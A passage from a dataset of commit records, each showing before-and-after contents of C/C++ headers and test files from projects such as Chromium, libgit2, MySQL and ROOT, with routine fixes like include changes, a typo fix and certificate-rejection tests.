Leiner)\n","lang":"C","license":"lgpl-2.1","repos":"theefer\/xmms2,oneman\/xmms2-oneman-old,theeternalsw0rd\/xmms2,oneman\/xmms2-oneman-old,mantaraya36\/xmms2-mantaraya36,krad-radio\/xmms2-krad,theefer\/xmms2,krad-radio\/xmms2-krad,dreamerc\/xmms2,chrippa\/xmms2,mantaraya36\/xmms2-mantaraya36,chrippa\/xmms2,theefer\/xmms2,oneman\/xmms2-oneman-old,six600110\/xmms2,six600110\/xmms2,oneman\/xmms2-oneman-old,chrippa\/xmms2,chrippa\/xmms2,oneman\/xmms2-oneman-old,krad-radio\/xmms2-krad,xmms2\/xmms2-stable,theeternalsw0rd\/xmms2,six600110\/xmms2,dreamerc\/xmms2,oneman\/xmms2-oneman,mantaraya36\/xmms2-mantaraya36,mantaraya36\/xmms2-mantaraya36,chrippa\/xmms2,theefer\/xmms2,oneman\/xmms2-oneman,mantaraya36\/xmms2-mantaraya36,oneman\/xmms2-oneman,theeternalsw0rd\/xmms2,six600110\/xmms2,mantaraya36\/xmms2-mantaraya36,theeternalsw0rd\/xmms2,oneman\/xmms2-oneman,dreamerc\/xmms2,oneman\/xmms2-oneman,dreamerc\/xmms2,mantaraya36\/xmms2-mantaraya36,oneman\/xmms2-oneman,xmms2\/xmms2-stable,dreamerc\/xmms2,theefer\/xmms2,xmms2\/xmms2-stable,krad-radio\/xmms2-krad,oneman\/xmms2-oneman,xmms2\/xmms2-stable,theeternalsw0rd\/xmms2,six600110\/xmms2,theefer\/xmms2,krad-radio\/xmms2-krad,chrippa\/xmms2,six600110\/xmms2,xmms2\/xmms2-stable,theefer\/xmms2,xmms2\/xmms2-stable,krad-radio\/xmms2-krad,theeternalsw0rd\/xmms2"}
{"commit":"2c90cd47e03a5ae5f725d3a7d638dfaf05f7896d","old_file":"tests\/Native\/Passes.h","new_file":"tests\/Native\/Passes.h","old_contents":"enum FlagEnum\n{\n  A = 1 << 0,\n  B = 1 << 1,\n  C = 1 << 2,\n  D = 1 << 3,\n};\n\nenum FlagEnum2\n{\n  A = 1 << 0,\n  B = 1 << 1,\n  C = 1 << 2,\n  D = 1 << 4,\n};\n\nclass C { };\nvoid DoSomethingC(C*, int);\n\nstruct TestRename\n{\n  int lowerCaseMethod();\n  int lowerCaseField;\n};\n\n#define TEST_ENUM_ITEM_NAME_0 0\n#define TEST_ENUM_ITEM_NAME_1 1\n#define TEST_ENUM_ITEM_NAME_2 2","new_contents":"enum FlagEnum\n{\n  A = 1 << 0,\n  B = 1 << 1,\n  C = 1 << 2,\n  D = 1 << 3,\n};\n\nenum FlagEnum2\n{\n  A1 = 1 << 0,\n  B1 = 3,\n  C1 = 1 << 2,\n  D1 = 1 << 4,\n};\n\nclass Foo { };\nvoid FooStart(Foo*, int);\n\nstruct TestRename\n{\n  int lowerCaseMethod();\n  int lowerCaseField;\n};\n\n#define TEST_ENUM_ITEM_NAME_0 0\n#define TEST_ENUM_ITEM_NAME_1 1\n#define TEST_ENUM_ITEM_NAME_2 2\n\n\/\/ TestStructInheritance\nstruct S1 { int F1, F2; };\nstruct S2 : S1 { int F3; };","subject":"Update the passes test source file.","message":"Update the passes test source file.\n","lang":"C","license":"mit","repos":"ktopouzi\/CppSharp,genuinelucifer\/CppSharp,zillemarco\/CppSharp,inordertotest\/CppSharp,mono\/CppSharp,inordertotest\/CppSharp,xistoso\/CppSharp,txdv\/CppSharp,u255436\/CppSharp,ktopouzi\/CppSharp,nalkaro\/CppSharp,xistoso\/CppSharp,mohtamohit\/CppSharp,imazen\/CppSharp,KonajuGames\/CppSharp,SonyaSa\/CppSharp,Samana\/CppSharp,ddobrev\/CppSharp,ktopouzi\/CppSharp,u255436\/CppSharp,txdv\/CppSharp,genuinelucifer\/CppSharp,ddobrev\/CppSharp,nalkaro\/CppSharp,imazen\/CppSharp,mohtamohit\/CppSharp,imazen\/CppSharp,mohtamohit\/CppSharp,mydogisbox\/CppSharp,mydogisbox\/CppSharp,ddobrev\/CppSharp,mono\/CppSharp,u255436\/CppSharp,SonyaSa\/CppSharp,nalkaro\/CppSharp,mohtamohit\/CppSharp,mono\/CppSharp,txdv\/CppSharp,KonajuGames\/CppSharp,genuinelucifer\/CppSharp,zillemarco\/CppSharp,Samana\/CppSharp,KonajuGames\/CppSharp,ktopouzi\/CppSharp,genuinelucifer\/CppSharp,Samana\/CppSharp,ktopouzi\/CppSharp,mydogisbox\/CppSharp,KonajuGames\/CppSharp,Samana\/CppSharp,xistoso\/CppSharp,inordertotest\/CppSharp,SonyaSa\/CppSharp,xistoso\/CppSharp,ddobrev\/CppSharp,mohtamohit\/CppSharp,genuinelucifer\/CppSharp,mydogisbox\/CppSharp,zillemarco\/CppSharp,KonajuGames\/CppSharp,zillemarco\/CppSharp,inordertotest\/CppSharp,zillemarco\/CppSharp,imazen\/CppSharp,nalkaro\/CppSharp,SonyaSa\/CppSharp,SonyaSa\/CppSharp,u255436\/CppSharp,mono\/CppSharp,mono\/CppSharp,ddobrev\/CppSharp,Samana\/CppSharp,mono\/CppSharp,imazen\/CppSharp,nalkaro\/CppSharp,txdv\/CppSharp,inordertotest\/CppSharp,mydogisbox\/CppSharp,xistoso\/CppSharp,u255436\/CppSharp,txdv\/CppSharp"}
{"commit":"c0a4377575c734ce8872d804229f852240d5b661","old_file":"include\/probes_mysql.h","new_file":"include\/probes_mysql.h","old_contents":"\/* Copyright (c) 2008 Sun Microsystems, Inc.\n   Use is subject to license terms.\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; version 2 of the License.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301  USA *\/\n\n#ifndef PROBES_MYSQL_H\n\n#define PROBES_MYSQL_H\n\n#include <my_global.h>\n\n#if defined(HAVE_DTRACE) && !defined(DISABLE_DTRACE)\n#include \"probes_mysql_dtrace.h\"\n#else\n#include \"probes_mysql_nodtrace.h\"\n#endif\n\n#endif \/* PROBES_MYSQL_H *\/\n","new_contents":"\/* Copyright (c) 2008 Sun Microsystems, Inc.\n   Use is subject to license terms.\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; version 2 of the License.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301  USA *\/\n\n#ifndef PROBES_MYSQL_H\n\n#define PROBES_MYSQL_H\n\n\n#if defined(HAVE_DTRACE) && !defined(DISABLE_DTRACE)\n\n#ifdef __linux__\n\/* \n  On Linux, generated probes header may include C++ header\n  <limits> which conflicts with min and max macros from my_global.h .\n  To fix, temporarily undefine the macros.\n*\/\n#pragma push_macro(\"min\")\n#pragma push_macro(\"max\")\n#undef min\n#undef max\n#endif\n\n#include \"probes_mysql_dtrace.h\"\n\n#ifdef __linux__\n#pragma pop_macro(\"min\")\n#pragma pop_macro(\"max\")\n#endif\n\n#else  \/* no dtrace *\/\n#include \"probes_mysql_nodtrace.h\"\n#endif\n#endif \/* PROBES_MYSQL_H *\/\n","subject":"Fix build error on Ubuntu 11.10, if systemtap is installed.","message":"Fix build error on  Ubuntu 11.10, if systemtap is installed.\n\nThe error is due to conflict between min\/max macros in my_global.h\nand system header < limits>, indirectly included via generated \nprobes_mysql_dtrace.h\n\nTemporarily undefined min\/max for the inclusion of the probes_mysq_dtrace.h\n","lang":"C","license":"lgpl-2.1","repos":"ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,ollie314\/server,davidl-zend\/zenddbi,davidl-zend\/zenddbi,ollie314\/server,natsys\/mariadb_10.2,ollie314\/server,natsys\/mariadb_10.2,natsys\/mariadb_10.2,natsys\/mariadb_10.2,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,ollie314\/server,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,ollie314\/server,davidl-zend\/zenddbi,davidl-zend\/zenddbi,natsys\/mariadb_10.2,natsys\/mariadb_10.2,ollie314\/server,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,ollie314\/server,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,ollie314\/server,ollie314\/server,davidl-zend\/zenddbi,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,davidl-zend\/zenddbi,natsys\/mariadb_10.2,ollie314\/server,slanterns\/server,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix"}
{"commit":"6bdd0fda6908cd99fb4186d45faa80b34ccfdc83","old_file":"include\/xaptum-ecdaa.h","new_file":"include\/xaptum-ecdaa.h","old_contents":"\/******************************************************************************\n *\n * Copyright 2017 Xaptum, Inc.\n * \n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n * \n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License\n *\n *****************************************************************************\/\n\n#ifndef XAPTUM_ECDAA_XAPTUM_ECDAA_H\n#define XAPTUM_ECDAA_XAPTUM_ECDAA_H\n#pragma once\n\n#include \"xaptum-ecdaa\/sign.h\"\n#include \"xaptum-ecdaa\/join_member.h\"\n#include \"xaptum-ecdaa\/context.h\"\n\n#endif\n","new_contents":"\/******************************************************************************\n *\n * Copyright 2017 Xaptum, Inc.\n * \n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n * \n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License\n *\n *****************************************************************************\/\n\n#ifndef XAPTUM_ECDAA_XAPTUM_ECDAA_H\n#define XAPTUM_ECDAA_XAPTUM_ECDAA_H\n#pragma once\n\n#include \"xaptum-ecdaa\/sign.h\"\n#include \"xaptum-ecdaa\/join_member.h\"\n#include \"xaptum-ecdaa\/context.h\"\n#include \"xaptum-ecdaa\/verify.h\"\n\n#endif\n","subject":"Add verify.h to top-level include-all header.","message":"FIX: Add verify.h to top-level include-all header.\n","lang":"C","license":"apache-2.0","repos":"xaptum\/ecdaa,xaptum\/ecdaa,xaptum\/ecdaa"}
{"commit":"60323734541afb648b0805abf04a3cb043494bfa","old_file":"libgnome\/gnome-popt.h","new_file":"libgnome\/gnome-popt.h","old_contents":"#ifndef __GNOME_POPT_H__\n#define __GNOME_POPT_H__ 1\n\n\n#include \"gnome-defs.h\"\n\nBEGIN_GNOME_DECLS\n\n\/* This is here because it does not have its own #ifdef __cplusplus *\/\n#include <popt-gnome.h>\n\nvoid gnomelib_register_popt_table(const struct poptOption *options,\n\t\t\t\t  const char *description);\n\npoptContext gnomelib_parse_args(int argc, char *argv[],\n\t\t\t\tint popt_flags);\n\n\/* Some systems, like Red Hat 4.0, define these but don't declare\n   them.  Hopefully it is safe to always declare them here.  *\/\nextern char *program_invocation_short_name;\nextern char *program_invocation_name;\nEND_GNOME_DECLS\n\n#endif \/* __GNOME_HELP_H__ *\/\n","new_contents":"#ifndef __GNOME_POPT_H__\n#define __GNOME_POPT_H__ 1\n\n\n#include \"gnome-defs.h\"\n\nBEGIN_GNOME_DECLS\n\n\/* This is here because it does not have its own #ifdef __cplusplus *\/\n#include <popt.h>\n\nvoid gnomelib_register_popt_table(const struct poptOption *options,\n\t\t\t\t  const char *description);\n\npoptContext gnomelib_parse_args(int argc, char *argv[],\n\t\t\t\tint popt_flags);\n\n\/* Some systems, like Red Hat 4.0, define these but don't declare\n   them.  Hopefully it is safe to always declare them here.  *\/\nextern char *program_invocation_short_name;\nextern char *program_invocation_name;\nEND_GNOME_DECLS\n\n#endif \/* __GNOME_HELP_H__ *\/\n","subject":"Check for newer popt, and include it in the needed libs. Give correct","message":"Check for newer popt, and include it in the needed libs. Give correct\n\n\n\n* configure.in: Check for newer popt, and include it in the needed libs.\n* gnome-compat-1.0.h: Give correct paths to compat headers.\n* gnome-config.in: Fixes to make help output correct.\n* gnome.m4: Reorg so it doesn't do any path searching itself, just uses gnome-config.\n* libgnome\/gnome-popt.h: Include popt.h not popt-gnome.h\n* support\/Makefile.am: No popt built-in.\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/libgnome,Distrotech\/libgnome,Distrotech\/libgnome"}
{"commit":"aea6ee736f73e503c0fcc2513ffd51bd74d17071","old_file":"net\/proxy\/proxy_resolver_mac.h","new_file":"net\/proxy\/proxy_resolver_mac.h","old_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_PROXY_PROXY_RESOLVER_MAC_H_\n#define NET_PROXY_PROXY_RESOLVER_MAC_H_\n#pragma once\n\n#include <string>\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/proxy\/proxy_resolver.h\"\n\nnamespace net {\n\n\/\/ Implementation of ProxyResolver that uses the Mac CFProxySupport to implement\n\/\/ proxies.\nclass ProxyResolverMac : public ProxyResolver {\n public:\n  ProxyResolverMac() : ProxyResolver(false \/*expects_pac_bytes*\/) {}\n\n  \/\/ ProxyResolver methods:\n  virtual int GetProxyForURL(const GURL& url,\n                             ProxyInfo* results,\n                             CompletionCallback* callback,\n                             RequestHandle* request,\n                             const BoundNetLog& net_log);\n\n  virtual void CancelRequest(RequestHandle request) {\n    NOTREACHED();\n  }\n\n  virtual int SetPacScript(\n      const scoped_refptr<ProxyResolverScriptData>& script_data,\n      CompletionCallback* \/*callback*\/) {\n    script_data_ = script_data_;\n    return OK;\n  }\n\n private:\n  scoped_refptr<ProxyResolverScriptData> script_data_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_PROXY_PROXY_RESOLVER_MAC_H_\n","new_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_PROXY_PROXY_RESOLVER_MAC_H_\n#define NET_PROXY_PROXY_RESOLVER_MAC_H_\n#pragma once\n\n#include <string>\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/proxy\/proxy_resolver.h\"\n\nnamespace net {\n\n\/\/ Implementation of ProxyResolver that uses the Mac CFProxySupport to implement\n\/\/ proxies.\nclass ProxyResolverMac : public ProxyResolver {\n public:\n  ProxyResolverMac() : ProxyResolver(false \/*expects_pac_bytes*\/) {}\n\n  \/\/ ProxyResolver methods:\n  virtual int GetProxyForURL(const GURL& url,\n                             ProxyInfo* results,\n                             CompletionCallback* callback,\n                             RequestHandle* request,\n                             const BoundNetLog& net_log);\n\n  virtual void CancelRequest(RequestHandle request) {\n    NOTREACHED();\n  }\n\n  virtual int SetPacScript(\n      const scoped_refptr<ProxyResolverScriptData>& script_data,\n      CompletionCallback* \/*callback*\/) {\n    script_data_ = script_data;\n    return OK;\n  }\n\n private:\n  scoped_refptr<ProxyResolverScriptData> script_data_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_PROXY_PROXY_RESOLVER_MAC_H_\n","subject":"Fix a typo, that could cause a crash on mac.","message":"Fix a typo, that could cause a crash on mac.\n\nBUG=50717\nTBR=rvargas\nTEST=Set system proxy settings to use a custom PAC script, then launch TestShell.app -- should not crash.\nReview URL: http:\/\/codereview.chromium.org\/3023030\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@54279 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 1f1e880a7ff7fc1dcb3dbba5910ff6e5a65603c6","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"505e4531b7e52daf6caa9eac9904d9a014e0d14f","old_file":"tests\/online\/badssl.c","new_file":"tests\/online\/badssl.c","old_contents":"#include \"clar_libgit2.h\"\n\n#include \"git2\/clone.h\"\n\nstatic git_repository *g_repo;\n\n#if defined(GIT_OPENSSL) || defined(GIT_WINHTTP) || defined(GIT_SECURE_TRANSPORT)\n\nvoid test_online_badssl__expired(void)\n{\n\tcl_git_fail_with(GIT_ECERTIFICATE,\n\t\t\t git_clone(&g_repo, \"https:\/\/expired.badssl.com\/fake.git\", \".\/fake\", NULL));\n}\n\nvoid test_online_badssl__wrong_host(void)\n{\n\tcl_git_fail_with(GIT_ECERTIFICATE,\n\t\t\t git_clone(&g_repo, \"https:\/\/wrong.host.badssl.com\/fake.git\", \".\/fake\", NULL));\n}\n\nvoid test_online_badssl__self_signed(void)\n{\n\tcl_git_fail_with(GIT_ECERTIFICATE,\n\t\t\t git_clone(&g_repo, \"https:\/\/self-signed.badssl.com\/fake.git\", \".\/fake\", NULL));\n}\n\n#endif\n","new_contents":"#include \"clar_libgit2.h\"\n\n#include \"git2\/clone.h\"\n\nstatic git_repository *g_repo;\n\n#if defined(GIT_OPENSSL) || defined(GIT_WINHTTP) || defined(GIT_SECURE_TRANSPORT)\nstatic bool g_has_ssl = true;\n#else\nstatic bool g_has_ssl = false;\n#endif\n\nvoid test_online_badssl__expired(void)\n{\n\tif (!g_has_ssl)\n\t\tcl_skip();\n\n\tcl_git_fail_with(GIT_ECERTIFICATE,\n\t\t\t git_clone(&g_repo, \"https:\/\/expired.badssl.com\/fake.git\", \".\/fake\", NULL));\n}\n\nvoid test_online_badssl__wrong_host(void)\n{\n\tif (!g_has_ssl)\n\t\tcl_skip();\n\n\tcl_git_fail_with(GIT_ECERTIFICATE,\n\t\t\t git_clone(&g_repo, \"https:\/\/wrong.host.badssl.com\/fake.git\", \".\/fake\", NULL));\n}\n\nvoid test_online_badssl__self_signed(void)\n{\n\tif (!g_has_ssl)\n\t\tcl_skip();\n\n\tcl_git_fail_with(GIT_ECERTIFICATE,\n\t\t\t git_clone(&g_repo, \"https:\/\/self-signed.badssl.com\/fake.git\", \".\/fake\", NULL));\n}\n","subject":"Fix build for unit test","message":"Fix build for unit test\n\nIf none of GIT_OPENSSL, GIT_WINHTTP or GIT_SECURE_TRANSPORT\nis defined we should also be able to build the unit test.\n","lang":"C","license":"lgpl-2.1","repos":"stewid\/libgit2,magnus98\/TEST,leoyanggit\/libgit2,Tousiph\/Demo1,yongthecoder\/libgit2,jeffhostetler\/public_libgit2,KTXSoftware\/libgit2,KTXSoftware\/libgit2,saurabhsuniljain\/libgit2,magnus98\/TEST,yongthecoder\/libgit2,KTXSoftware\/libgit2,magnus98\/TEST,yongthecoder\/libgit2,Tousiph\/Demo1,Tousiph\/Demo1,Corillian\/libgit2,saurabhsuniljain\/libgit2,joshtriplett\/libgit2,saurabhsuniljain\/libgit2,yongthecoder\/libgit2,Corillian\/libgit2,leoyanggit\/libgit2,KTXSoftware\/libgit2,magnus98\/TEST,jeffhostetler\/public_libgit2,Corillian\/libgit2,stewid\/libgit2,stewid\/libgit2,saurabhsuniljain\/libgit2,joshtriplett\/libgit2,Tousiph\/Demo1,jeffhostetler\/public_libgit2,Corillian\/libgit2,KTXSoftware\/libgit2,magnus98\/TEST,leoyanggit\/libgit2,saurabhsuniljain\/libgit2,stewid\/libgit2,yongthecoder\/libgit2,yongthecoder\/libgit2,leoyanggit\/libgit2,jeffhostetler\/public_libgit2,stewid\/libgit2,Corillian\/libgit2,magnus98\/TEST,joshtriplett\/libgit2,stewid\/libgit2,jeffhostetler\/public_libgit2,saurabhsuniljain\/libgit2,joshtriplett\/libgit2,leoyanggit\/libgit2,joshtriplett\/libgit2,Tousiph\/Demo1,joshtriplett\/libgit2,jeffhostetler\/public_libgit2,Tousiph\/Demo1,leoyanggit\/libgit2,KTXSoftware\/libgit2,Corillian\/libgit2"}
{"commit":"a014bcdc929147cd6c5c2b0dea1d32b1339625b4","old_file":"ogles_gpgpu\/common\/macros.h","new_file":"ogles_gpgpu\/common\/macros.h","old_contents":"\/\/\n\/\/ ogles_gpgpu project - GPGPU for mobile devices and embedded systems using OpenGL ES 2.0\n\/\/\n\/\/ Author: Markus Konrad <post@mkonrad.net>, Winter 2014\/2015\n\/\/ http:\/\/www.mkonrad.net\n\/\/\n\/\/ See LICENSE file in project repository root for the license.\n\/\/\n\n#ifndef OGLES_GPGPU_COMMON_MACROS\n#define OGLES_GPGPU_COMMON_MACROS\n\n#define OG_TO_STR_(x) #x\n#define OG_TO_STR(x) OG_TO_STR_(x)\n\n#ifdef DEBUG\n#define OG_LOGINF(class, args...) fprintf(stdout, \"ogles_gpgpu::%s - %s - \", class, __FUNCTION__); fprintf(stdout, args); fprintf(stdout, \"\\n\")\n#else\n#define OG_LOGINF(class, args...)\n#endif\n\n#define OG_LOGERR(class, args...) fprintf(stderr, \"ogles_gpgpu::%s - %s - \", class, __FUNCTION__); fprintf(stderr, args); fprintf(stderr, \"\\n\")\n\n#endif\n","new_contents":"\/\/\n\/\/ ogles_gpgpu project - GPGPU for mobile devices and embedded systems using OpenGL ES 2.0\n\/\/\n\/\/ Author: Markus Konrad <post@mkonrad.net>, Winter 2014\/2015\n\/\/ http:\/\/www.mkonrad.net\n\/\/\n\/\/ See LICENSE file in project repository root for the license.\n\/\/\n\n#ifndef OGLES_GPGPU_COMMON_MACROS\n#define OGLES_GPGPU_COMMON_MACROS\n\n#define OG_TO_STR_(x) #x\n#define OG_TO_STR(x) OG_TO_STR_(x)\n\n#if !defined(NDEBUG)\n#define OG_LOGINF(class, args...) fprintf(stdout, \"ogles_gpgpu::%s - %s - \", class, __FUNCTION__); fprintf(stdout, args); fprintf(stdout, \"\\n\")\n#else\n#define OG_LOGINF(class, args...)\n#endif\n\n#define OG_LOGERR(class, args...) fprintf(stderr, \"ogles_gpgpu::%s - %s - \", class, __FUNCTION__); fprintf(stderr, args); fprintf(stderr, \"\\n\")\n\n#endif\n","subject":"Use !NDEBUG to detect Debug variant of build","message":"Use !NDEBUG to detect Debug variant of build\n","lang":"C","license":"apache-2.0","repos":"headupinclouds\/ogles_gpgpu,headupinclouds\/ogles_gpgpu,hunter-packages\/ogles_gpgpu,hunter-packages\/ogles_gpgpu,hunter-packages\/ogles_gpgpu,headupinclouds\/ogles_gpgpu,hunter-packages\/ogles_gpgpu,headupinclouds\/ogles_gpgpu"}
{"commit":"ed69dd7849b8921917191d6a037d52043e44579f","old_file":"algorithms\/include\/algorithms\/quick_union_with_path_compression.h","new_file":"algorithms\/include\/algorithms\/quick_union_with_path_compression.h","old_contents":"#ifndef INCLUDE_ALGORITHMS_QUICK_UNION_WITH_PATH_COMPRESSION_H_\n#define INCLUDE_ALGORITHMS_QUICK_UNION_WITH_PATH_COMPRESSION_H_\n#include \"DLLDefines.h\"\n#include <vector>\n#include <stddef.h>\n\n\/*\nThis algorithm \"Quick Union With Path Compression\" solves the dynamic connectivity problem.\nStarting from an empty data structure, any sequence of M union-find ops on N objects makes ≤ c ( N + M lg* N ) array accesses.\nIn reality log * function can be considered to be at the most 5.\nThus in theory, this algorithm is not quite linear but in practice it is.\n*\/\n\nnamespace algorithms {\n  class QuickUnionWithPathCompression {\n    public:\n      MYLIB_EXPORT QuickUnionWithPathCompression(size_t no_of_elements);\n      MYLIB_EXPORT ~QuickUnionWithPathCompression() = default;\n\n      MYLIB_EXPORT void Union(size_t elementA, size_t elementB);\n      MYLIB_EXPORT bool Connected(size_t elementA, size_t elementB);\n\n    private:\n      size_t GetRoot(size_t element);\n\n      inline bool IsIdInBounds(size_t element) {\n        return element >= 0 && element < id_.size();\n      }\n\n    private:\n      std::vector<size_t> id_;\n      std::vector<size_t> size_;\n  };\n}\n\n#endif \/\/INCLUDE_ALGORITHMS_QUICK_UNION_WITH_PATH_COMPRESSION_H_\n","new_contents":"#ifndef INCLUDE_ALGORITHMS_QUICK_UNION_WITH_PATH_COMPRESSION_H_\n#define INCLUDE_ALGORITHMS_QUICK_UNION_WITH_PATH_COMPRESSION_H_\n#include \"DLLDefines.h\"\n#include <vector>\n#include <stddef.h>\n\n\/*\nThis algorithm \"Quick Union With Path Compression\" solves the dynamic connectivity problem.\nStarting from an empty data structure, any sequence of M union-find ops on N objects makes ≤ c ( N + M lg* N ) array accesses.\nIn reality log * function can be considered to be at the most 5.\nThus in theory, this algorithm is not quite linear but in practice it is.\n*\/\n\nnamespace algorithms {\n  class QuickUnionWithPathCompression {\n    public:\n      MYLIB_EXPORT QuickUnionWithPathCompression(size_t no_of_elements);\n      MYLIB_EXPORT ~QuickUnionWithPathCompression() = default;\n\n      MYLIB_EXPORT void Union(size_t elementA, size_t elementB);\n      MYLIB_EXPORT bool Connected(size_t elementA, size_t elementB);\n\n    private:\n      size_t GetRoot(size_t element);\n\n      inline bool IsIdInBounds(size_t element) {\n        return element < id_.size();\n      }\n\n    private:\n      std::vector<size_t> id_;\n      std::vector<size_t> size_;\n  };\n}\n\n#endif \/\/INCLUDE_ALGORITHMS_QUICK_UNION_WITH_PATH_COMPRESSION_H_\n","subject":"Remove unnecessary checking of size_t >= 0","message":"Remove unnecessary checking of size_t >= 0\n","lang":"C","license":"mit","repos":"TusharJadhav\/algorithms,TusharJadhav\/algorithms"}
{"commit":"e5171648164a72ea9ae83e5f2bb47dcb5b498fa6","old_file":"eg\/inc\/Hepevt.h","new_file":"eg\/inc\/Hepevt.h","old_contents":"\/* @(#)root\/eg:$Name$:$Id$ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n\n\n#ifndef ROOT_HepEvt\n#define ROOT_HepEvt\n\nextern \"C\" {\n\n#ifndef __CFORTRAN_LOADED\n#include \"cfortran.h\"\n#endif\n\ntypedef struct {\n\tInt_t\t nevhep;\n        Int_t    nhep;\n        Int_t    isthep[2000];\n        Int_t    idhep[2000];\n        Int_t    jmohep[2000][2];\n        Int_t    jdahep[2000][2];\n        Double_t phep[2000][5];\n        Double_t vhep[2000][4];\n} HEPEVT_DEF;\n\n#define HEPEVT COMMON_BLOCK(HEPEVT,hepevt)\n\nCOMMON_BLOCK_DEF(HEPEVT_DEF,HEPEVT);\n\nHEPEVT_DEF HEPEVT;\n\n}\n\n#endif\n","new_contents":"\/* @(#)root\/eg:$Name:  $:$Id: Hepevt.h,v 1.1.1.1 2000\/05\/16 17:00:47 rdm Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n\n\n#ifndef ROOT_HepEvt\n#define ROOT_HepEvt\n\nextern \"C\" {\n\n#ifndef __CFORTRAN_LOADED\n#include \"cfortran.h\"\n#endif\n\ntypedef struct {\n\tInt_t\t nevhep;\n        Int_t    nhep;\n        Int_t    isthep[4000];\n        Int_t    idhep[4000];\n        Int_t    jmohep[4000][2];\n        Int_t    jdahep[4000][2];\n        Double_t phep[4000][5];\n        Double_t vhep[4000][4];\n} HEPEVT_DEF;\n\n#define HEPEVT COMMON_BLOCK(HEPEVT,hepevt)\n\nCOMMON_BLOCK_DEF(HEPEVT_DEF,HEPEVT);\n\nHEPEVT_DEF HEPEVT;\n\n}\n\n#endif\n","subject":"Change maximum dimension of hepevt from 2000 to 4000 to be consistent between Pythia5 and 6. Note that this change implies a recompilation of jetset.f","message":"Change maximum dimension of hepevt from 2000 to 4000 to be consistent\nbetween Pythia5 and 6. Note that this change implies a recompilation\nof jetset.f\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@5072 